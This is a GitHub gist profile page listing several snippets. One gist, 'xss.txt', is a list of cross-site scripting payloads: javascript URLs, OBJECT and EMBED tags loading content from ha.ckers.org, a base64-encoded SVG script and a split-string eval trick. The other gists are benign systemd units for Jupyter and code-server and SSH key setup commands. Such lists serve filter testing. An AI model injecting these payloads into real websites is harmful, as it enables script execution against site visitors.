Skip to content

Instantly share code, notes, and snippets.

View janaSunrise's full-sized avatar
🍊
life gave me oranges

Sunrit Jana janaSunrise

🍊
life gave me oranges
View GitHub Profile
@janaSunrise
janaSunrise / xss.txt
Created December 24, 2020 16:34
XSS VECTORS ROCK!
<BASE HREF=\"javascript:alert('XSS');//\">
<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>
<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>
a=\"get\";
b=\"URL(\\"\";
c=\"javascript:\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);
@janaSunrise
janaSunrise / jupyter.service
Last active November 27, 2020 05:23
This is the systemd service, That will enable the process to keep running, until Manually stopped, and Also Automatically will bind to the port specified.
[Unit]
Description=jupyter-notebook
After=network.target
[Service]
Type=simple
ExecStart=/home/jana/anaconda3/bin/jupyter-notebook --no-browser --ip=0.0.0.0 --port=9999 --port-retries=50
Restart=always
RestartSec=10
User=<your-user>
@janaSunrise
janaSunrise / code-server.service
Last active November 27, 2020 05:20
This is the systemd service, That will enable the process to keep running, until Manually stopped, and Also Automatically will bind to the port specified.
[Unit]
Description=code-server
After=network.target
[Service]
Type=simple
Environment=PASSWORD=your_password_here
ExecStart=/usr/bin/code-server --bind-addr 0.0.0.0:8080 --user-data-dir /var/lib/code-server --auth password
Restart=always
RestartSec=10
@janaSunrise
janaSunrise / ssh-key-auth.sh
Created November 13, 2020 04:44
This snippet of code, allows you to add Key based Passwordless authentication for your server connections.
ssh-keygen
ssh-copy-id -i ~/.ssh/id_rsa.pub -p 22 user@host